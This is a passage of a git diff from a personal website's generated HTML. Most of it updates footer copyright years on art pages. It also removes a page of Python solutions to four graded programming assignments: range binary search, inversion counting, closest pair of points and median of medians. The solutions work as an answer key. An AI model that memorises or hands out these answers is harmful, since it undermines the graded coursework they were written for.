href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -2,4 +2,4 @@
|
||||
lawyer ferris as my mascot both due to ferris being in the public domain
|
||||
as well as the sheer memeworthiness of the debacle.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jun 18, 2024</p><h1>This Error</h1></hgroup><section class=post-content><p>My first hand drawn YouTube thumbnail, I’m might continue using
|
||||
<em>lawyer ferris</em> as my mascot both due to ferris being in the public domain
|
||||
as well as the sheer memeworthiness of the debacle.</p><img src=../../this-error.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
as well as the sheer memeworthiness of the debacle.</p><img src=../../this-error.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,3 +1,3 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Truce - lavafroth</title><meta name=description content='A painting of the lead vocalist of Twenty Øne Piløts, named
|
||||
after one of my favorite songs from their album Vessel.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jul 23, 2022</p><h1>Truce</h1></hgroup><section class=post-content><p>A painting of the lead vocalist of Twenty Øne Piløts, named
|
||||
after one of my favorite songs from their album Vessel.</p><img src=../../truce.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
after one of my favorite songs from their album Vessel.</p><img src=../../truce.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1 +1 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Throwing knives - lavafroth</title><meta name=description content='An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 19, 2024</p><h1>Throwing knives</h1></hgroup><section class=post-content><p>An unfinished animation with a focus on anatomy. Thank you <a href=https://www.pexels.com/@polina-tankilevitch/>Polina Tankilevitch</a> for the <a href=https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/>reference video</a>.</p><img src=../../throwing-knives.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>Throwing knives - lavafroth</title><meta name=description content='An unfinished animation with a focus on anatomy. Thank you Polina Tankilevitch for the reference video.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 19, 2024</p><h1>Throwing knives</h1></hgroup><section class=post-content><p>An unfinished animation with a focus on anatomy. Thank you <a href=https://www.pexels.com/@polina-tankilevitch/>Polina Tankilevitch</a> for the <a href=https://www.pexels.com/video/a-young-woman-showing-her-skill-in-dancing-5385879/>reference video</a>.</p><img src=../../throwing-knives.avif style=border-radius:1rem></section></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -1,263 +0,0 @@
|
||||
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>w8 - lavafroth</title><meta name=description content="GRPA 1
|
||||
def findOccOf(arr, x):
|
||||
lo = 0
|
||||
hi = len(arr) - 1
|
||||
|
||||
loval = None
|
||||
while lo <= hi:
|
||||
mid = (lo + hi) // 2
|
||||
c = arr[mid]
|
||||
if x < c:
|
||||
hi = mid - 1
|
||||
elif x > c:
|
||||
lo = mid + 1
|
||||
elif x == c:
|
||||
loval = loval or mid
|
||||
loval = min(loval, mid)
|
||||
hi = mid - 1
|
||||
|
||||
lo = 0
|
||||
hi = len(arr) - 1
|
||||
hival = None
|
||||
while lo <= hi:
|
||||
mid = (lo + hi) // 2
|
||||
c = arr[mid]
|
||||
if x < c:
|
||||
hi = mid - 1
|
||||
elif x > c:
|
||||
lo = mid + 1
|
||||
elif x == c:
|
||||
hival = hival or mid
|
||||
hival = max(hival, mid)
|
||||
lo = mid + 1
|
||||
|
||||
|
||||
return loval, hival
|
||||
GRPA 2
|
||||
def merge_inversion(left, right):
|
||||
merged = []
|
||||
count = 0
|
||||
|
||||
i, j = 0, 0
|
||||
|
||||
m = len(left)
|
||||
n = len(right)
|
||||
while i + j < m + n:
|
||||
if j == n or (i != m and left[i] < right[j]):
|
||||
merged.append(left[i])
|
||||
i += 1
|
||||
continue
|
||||
|
||||
merged.append(right[j])
|
||||
j += 1
|
||||
count += m - i
|
||||
|
||||
return merged, count
|
||||
|
||||
|
||||
def sort_and_count(arr):
|
||||
n = len(arr)
|
||||
if n == 1:
|
||||
return arr, 0
|
||||
left = arr[: n // 2]
|
||||
right = arr[n // 2 :]
|
||||
|
||||
left, count_left = sort_and_count(left)
|
||||
right, count_right = sort_and_count(right)
|
||||
merged, count_both = merge_inversion(left, right)
|
||||
|
||||
return (merged, count_left + count_right + count_both)
|
||||
|
||||
def countIntersection(a, b):
|
||||
tuples = sorted(zip(a, b))
|
||||
b = [t[1] for t in tuples]
|
||||
return sort_and_count(b)[1]
|
||||
GRPA 3
|
||||
dist = lambda a, b: ((a[0]-b[0])**2 + (a[1]-b[1])**2)**.5
|
||||
|
||||
def closest_pair(Px, Py):
|
||||
n = len(Px)
|
||||
if n <= 3:
|
||||
min_d = float('inf')
|
||||
for i in range(n):
|
||||
for j in range(i + 1, n):
|
||||
min_d = min(min_d, dist(Px[i], Px[j]))
|
||||
return min_d
|
||||
|
||||
mid = n // 2
|
||||
Qx = Px[:mid]
|
||||
Rx = Px[mid:]
|
||||
mid_point = Qx[-1][0]
|
||||
|
||||
Qy = []
|
||||
Ry = []
|
||||
for p in Py:
|
||||
if p[0] <= mid_point:
|
||||
Qy.append(p)
|
||||
else:
|
||||
Ry.append(p)
|
||||
|
||||
min_d = min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
|
||||
|
||||
Sy = [p for p in Py if mid_point - min_d <= p[0] <= mid_point + min_d]
|
||||
for i in range(len(Sy)):
|
||||
for j in range(i + 1, len(Sy)):
|
||||
if Sy[j][1] - Sy[i][1] >= min_d:
|
||||
break
|
||||
min_d = min(min_d, dist(Sy[i], Sy[j]))
|
||||
|
||||
return min_d
|
||||
|
||||
|
||||
def minDistance(points):
|
||||
Px = sorted(points, key=lambda p: p[0])
|
||||
Py = sorted(points, key=lambda p: p[1])
|
||||
return round(closest_pair(Px, Py), 2)
|
||||
GRPA 4
|
||||
def mid(a):
|
||||
if len(a) <= 7:
|
||||
return sorted(a)[len(a)//2]
|
||||
|
||||
m = []
|
||||
for i in range(0,len(a), 7):
|
||||
m.append(mid(a[i:i+7]))
|
||||
|
||||
return mid(m)
|
||||
|
||||
def MoM7Pos(arr):
|
||||
m = mid(arr)
|
||||
pos = 0
|
||||
for x in arr:
|
||||
if x < m:
|
||||
pos += 1
|
||||
return pos
|
||||
"><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Oct 3, 2025 | 3 minutes read</time></p><h1 data-pagefind-meta=title>w8</h1></hgroup><section class=post-content data-pagefind-body><h2 id=grpa-1>GRPA 1</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>findOccOf</span>(arr, x):
|
||||
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> len(arr) <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> lo <span style=color:#f92672><=</span> hi:
|
||||
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> (lo <span style=color:#f92672>+</span> hi) <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
|
||||
</span></span><span style=display:flex><span> c <span style=color:#f92672>=</span> arr[mid]
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672><</span> c:
|
||||
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>></span> c:
|
||||
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>==</span> c:
|
||||
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> loval <span style=color:#f92672>or</span> mid
|
||||
</span></span><span style=display:flex><span> loval <span style=color:#f92672>=</span> min(loval, mid)
|
||||
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> len(arr) <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> <span style=color:#66d9ef>None</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> lo <span style=color:#f92672><=</span> hi:
|
||||
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> (lo <span style=color:#f92672>+</span> hi) <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
|
||||
</span></span><span style=display:flex><span> c <span style=color:#f92672>=</span> arr[mid]
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672><</span> c:
|
||||
</span></span><span style=display:flex><span> hi <span style=color:#f92672>=</span> mid <span style=color:#f92672>-</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>></span> c:
|
||||
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>elif</span> x <span style=color:#f92672>==</span> c:
|
||||
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> hival <span style=color:#f92672>or</span> mid
|
||||
</span></span><span style=display:flex><span> hival <span style=color:#f92672>=</span> max(hival, mid)
|
||||
</span></span><span style=display:flex><span> lo <span style=color:#f92672>=</span> mid <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> loval, hival
|
||||
</span></span></code></pre></div><h2 id=grpa-2>GRPA 2</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>merge_inversion</span>(left, right):
|
||||
</span></span><span style=display:flex><span> merged <span style=color:#f92672>=</span> []
|
||||
</span></span><span style=display:flex><span> count <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> i, j <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>, <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> len(left)
|
||||
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(right)
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>while</span> i <span style=color:#f92672>+</span> j <span style=color:#f92672><</span> m <span style=color:#f92672>+</span> n:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> j <span style=color:#f92672>==</span> n <span style=color:#f92672>or</span> (i <span style=color:#f92672>!=</span> m <span style=color:#f92672>and</span> left[i] <span style=color:#f92672><</span> right[j]):
|
||||
</span></span><span style=display:flex><span> merged<span style=color:#f92672>.</span>append(left[i])
|
||||
</span></span><span style=display:flex><span> i <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>continue</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> merged<span style=color:#f92672>.</span>append(right[j])
|
||||
</span></span><span style=display:flex><span> j <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> count <span style=color:#f92672>+=</span> m <span style=color:#f92672>-</span> i
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> merged, count
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>sort_and_count</span>(arr):
|
||||
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(arr)
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> n <span style=color:#f92672>==</span> <span style=color:#ae81ff>1</span>:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> arr, <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span> left <span style=color:#f92672>=</span> arr[: n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>]
|
||||
</span></span><span style=display:flex><span> right <span style=color:#f92672>=</span> arr[n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span> :]
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> left, count_left <span style=color:#f92672>=</span> sort_and_count(left)
|
||||
</span></span><span style=display:flex><span> right, count_right <span style=color:#f92672>=</span> sort_and_count(right)
|
||||
</span></span><span style=display:flex><span> merged, count_both <span style=color:#f92672>=</span> merge_inversion(left, right)
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> (merged, count_left <span style=color:#f92672>+</span> count_right <span style=color:#f92672>+</span> count_both)
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>countIntersection</span>(a, b):
|
||||
</span></span><span style=display:flex><span> tuples <span style=color:#f92672>=</span> sorted(zip(a, b))
|
||||
</span></span><span style=display:flex><span> b <span style=color:#f92672>=</span> [t[<span style=color:#ae81ff>1</span>] <span style=color:#66d9ef>for</span> t <span style=color:#f92672>in</span> tuples]
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> sort_and_count(b)[<span style=color:#ae81ff>1</span>]
|
||||
</span></span></code></pre></div><h2 id=grpa-3>GRPA 3</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>dist <span style=color:#f92672>=</span> <span style=color:#66d9ef>lambda</span> a, b: ((a[<span style=color:#ae81ff>0</span>]<span style=color:#f92672>-</span>b[<span style=color:#ae81ff>0</span>])<span style=color:#f92672>**</span><span style=color:#ae81ff>2</span> <span style=color:#f92672>+</span> (a[<span style=color:#ae81ff>1</span>]<span style=color:#f92672>-</span>b[<span style=color:#ae81ff>1</span>])<span style=color:#f92672>**</span><span style=color:#ae81ff>2</span>)<span style=color:#f92672>**</span><span style=color:#ae81ff>.5</span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>closest_pair</span>(Px, Py):
|
||||
</span></span><span style=display:flex><span> n <span style=color:#f92672>=</span> len(Px)
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> n <span style=color:#f92672><=</span> <span style=color:#ae81ff>3</span>:
|
||||
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> float(<span style=color:#e6db74>'inf'</span>)
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(n):
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> j <span style=color:#f92672>in</span> range(i <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>, n):
|
||||
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(min_d, dist(Px[i], Px[j]))
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> min_d
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> mid <span style=color:#f92672>=</span> n <span style=color:#f92672>//</span> <span style=color:#ae81ff>2</span>
|
||||
</span></span><span style=display:flex><span> Qx <span style=color:#f92672>=</span> Px[:mid]
|
||||
